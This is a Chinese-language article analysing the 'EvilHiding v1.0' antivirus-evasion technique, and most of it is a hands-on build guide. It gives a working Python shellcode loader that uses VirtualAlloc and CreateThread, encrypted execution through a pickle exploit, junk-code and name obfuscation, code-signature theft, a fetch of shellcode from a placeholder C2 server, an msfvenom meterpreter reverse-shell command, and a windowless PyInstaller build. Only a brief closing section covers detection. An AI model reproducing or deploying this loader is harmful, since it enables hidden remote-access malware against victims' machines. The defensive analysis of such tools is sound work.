浅析evilhiding v1.0免杀原理
字数 856 2025-08-10 09:16:21
EvilHiding v1.0 免杀技术深度解析与实战指南
一、基础Loader原理分析
1.1 核心Windows API函数
import ctypes
shellcode = bytearray(b"shellcode")
# 申请可执行内存
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(
ctypes.c_int(0), # 起始地址(0表示自动分配)
ctypes.c_int(len(shellcode)), # 内存大小
ctypes.c_int(0x3000), # MEM_COMMIT | MEM_RESERVE
ctypes.c_int(0x40)) # PAGE_EXECUTE_READWRITE
# 复制shellcode到分配的内存
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
ctypes.c_uint64(ptr), # 目标地址
buf, # 源数据
ctypes.c_int(len(shellcode))) # 数据长度
# 创建线程执行shellcode
handle = ctypes.windll.kernel32.CreateThread(
ctypes.c_int(0), # 安全属性
ctypes.c_int(0), # 栈大小
ctypes.c_uint64(ptr), # 起始地址
ctypes.c_int(0), # 参数
ctypes.c_int(0), # 创建标志
ctypes.pointer(ctypes.c_int(0))) # 线程ID
# 等待线程执行完成
ctypes.windll.kernel32.WaitForSingleObject(
ctypes.c_int(handle),
ctypes.c_int(-1)) # INFINITE等待
1.2 关键API参数详解
VirtualAlloc参数:
-
flAllocationType:MEM_COMMIT (0x1000): 提交物理内存MEM_RESERVE (0x2000): 保留虚拟地址空间- 常用组合:
0x3000(MEM_COMMIT | MEM_RESERVE)
-
flProtect:PAGE_EXECUTE_READWRITE (0x40): 可读可写可执行PAGE_READWRITE (0x04): 仅可读可写
CreateThread参数:
dwCreationFlags:0: 立即执行CREATE_SUSPENDED (0x04): 创建后挂起
二、EvilHiding免杀技术实现
2.1 加密与序列化加载器
import pickle, base64
from cryptography.fernet import Fernet
# 加密密钥配置
KEY = b'your_encryption_key_here'
fernet = Fernet(KEY)
# 解密并执行shellcode
def doit(encrypted_shellcode):
decrypted = fernet.decrypt(encrypted_shellcode).decode()
class A(object):
def __reduce__(self):
return (exec, (decrypted,))
# 序列化执行
ret = pickle.dumps(A())
ret_base64 = base64.b64encode(ret)
ret_decode = base64.b64decode(ret_base64)
pickle.loads(ret_decode)
2.2 多层加密流程
-
生成加密密钥:
key = Fernet.generate_key() fernet = Fernet(key) -
加密shellcode:
enstr = fernet.encrypt(shellcode) -
二次加密加载器代码:
key2 = Fernet.generate_key() fernet2 = Fernet(key2) encrypted_loader = fernet2.encrypt(loader_code.encode())
2.3 花指令混淆技术
# 快速排序花指令
t1 = """
import random
def partition(test_arr, low, high):
i = (low - 1)
pivot = test_arr[high]
for j in range(low, high):
if test_arr[j] <= pivot:
i = i + 1
test_arr[i], test_arr[j] = test_arr[j], test_arr[i]
test_arr[i + 1], test_arr[high] = test_arr[high], test_arr[i + 1]
return i + 1
def quick_sort(test_arr, low, high):
if low < high:
pi = partition(test_arr, low, high)
quick_sort(test_arr, low, pi - 1)
quick_sort(test_arr, pi + 1, high)
test_arr = [random.random() for _ in range(59999)]
quick_sort(test_arr, 0, len(test_arr) - 1)
"""
# 正则表达式花指令
t2 = """
import re
re.search('www','www.runoob.com').span()
line = "Cats are smarter than dogs"
searchObj = re.search(r'(.*) are', line, re.M | re.I)
def double(matched):
return str(int(matched.group('value')) * 2)
s = 'A23G4HFD567'
re.sub('(?P<value>\d+)', double, s)
"""
# Base64编码花指令
t3 = """
import base64
st = '混淆字符串'.encode()
res = base64.b64encode(st)
aaa = res.decode()
res = base64.b64decode(res)
bbb = res.decode()
"""
exec(t1)
exec(t2)
exec(t3)
2.4 函数名混淆技术
import re
def hunxiao():
openfile = 'b.py'
text = open(openfile, encoding='utf-8').read()
# 查找所有函数定义
wd_df = re.findall("def (\w+)\(", text)
wd_df = list(set(wd_df))
# 过滤特殊函数
wd_df = [f for f in wd_df if not f.startswith('__') and f != 'super']
# 生成混淆后的函数名
idlist = ['O' + str(hash(i))[-7:] for i in wd_df]
# 替换函数名
for i in range(len(wd_df)):
text = text.replace(wd_df[i] + '(', idlist[i] + '(')
text = text.replace('target=' + wd_df[i], 'target=' + idlist[i])
text = text.replace('global ' + wd_df[i], 'global ' + idlist[i])
text = text.replace(', ' + wd_df[i], ', ' + idlist[i])
# 保存混淆后的文件
with open('b.py', 'w', encoding='utf-8') as f:
f.write(text)
三、高级免杀技术
3.1 签名窃取技术
python sigthief.py -i 合法程序.exe -t 目标程序.exe -o 输出程序.exe
3.2 远程条件触发
import requests
def start():
try:
r = requests.get('http://your-c2-server.com/check')
if r.status_code == 200:
doit(r.text) # 执行远程下发的shellcode
except:
pass # 静默失败
3.3 图标MD5修改
import os, time
iconame = f'{int(time.time() * 1000)}.ico'
with open('original.ico', "br") as f:
cont = f.read()
# 添加时间戳改变MD5
with open(iconame, "bw") as f:
cont += iconame.encode()
f.write(cont)
os.remove(iconame) # 清理临时文件
3.4 加壳保护
使用VMProtect等商业加壳工具对生成的二进制文件进行保护。
四、完整构建流程
-
生成shellcode
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=your_ip LPORT=4444 -f python -
加密shellcode
from cryptography.fernet import Fernet key = Fernet.generate_key() fernet = Fernet(key) enstr = fernet.encrypt(shellcode) -
构建加载器
loader_code = f""" import ctypes from cryptography.fernet import Fernet KEY = {key} fernet = Fernet(KEY) shellcode = fernet.decrypt({enstr}) # ... rest of the loader code ... """ -
混淆和加壳
- 使用花指令增加分析难度
- 使用PyArmor进行代码混淆
- 使用VMProtect等工具加壳
-
构建可执行文件
pyinstaller -F -w loader.py # -F 单文件, -w 无控制台窗口
五、防御与检测建议
-
行为检测点:
- VirtualAlloc + PAGE_EXECUTE_READWRITE组合
- 短时间内连续的内存分配和权限修改
- 不常见的线程创建模式
-
静态检测点:
- 加密字符串的特征
- pickle序列化操作
- 异常的API调用序列
-
防御建议:
- 启用AMSI和ATP保护
- 监控异常的内存操作
- 限制脚本语言的执行权限
本技术文档仅供安全研究使用,请遵守当地法律法规。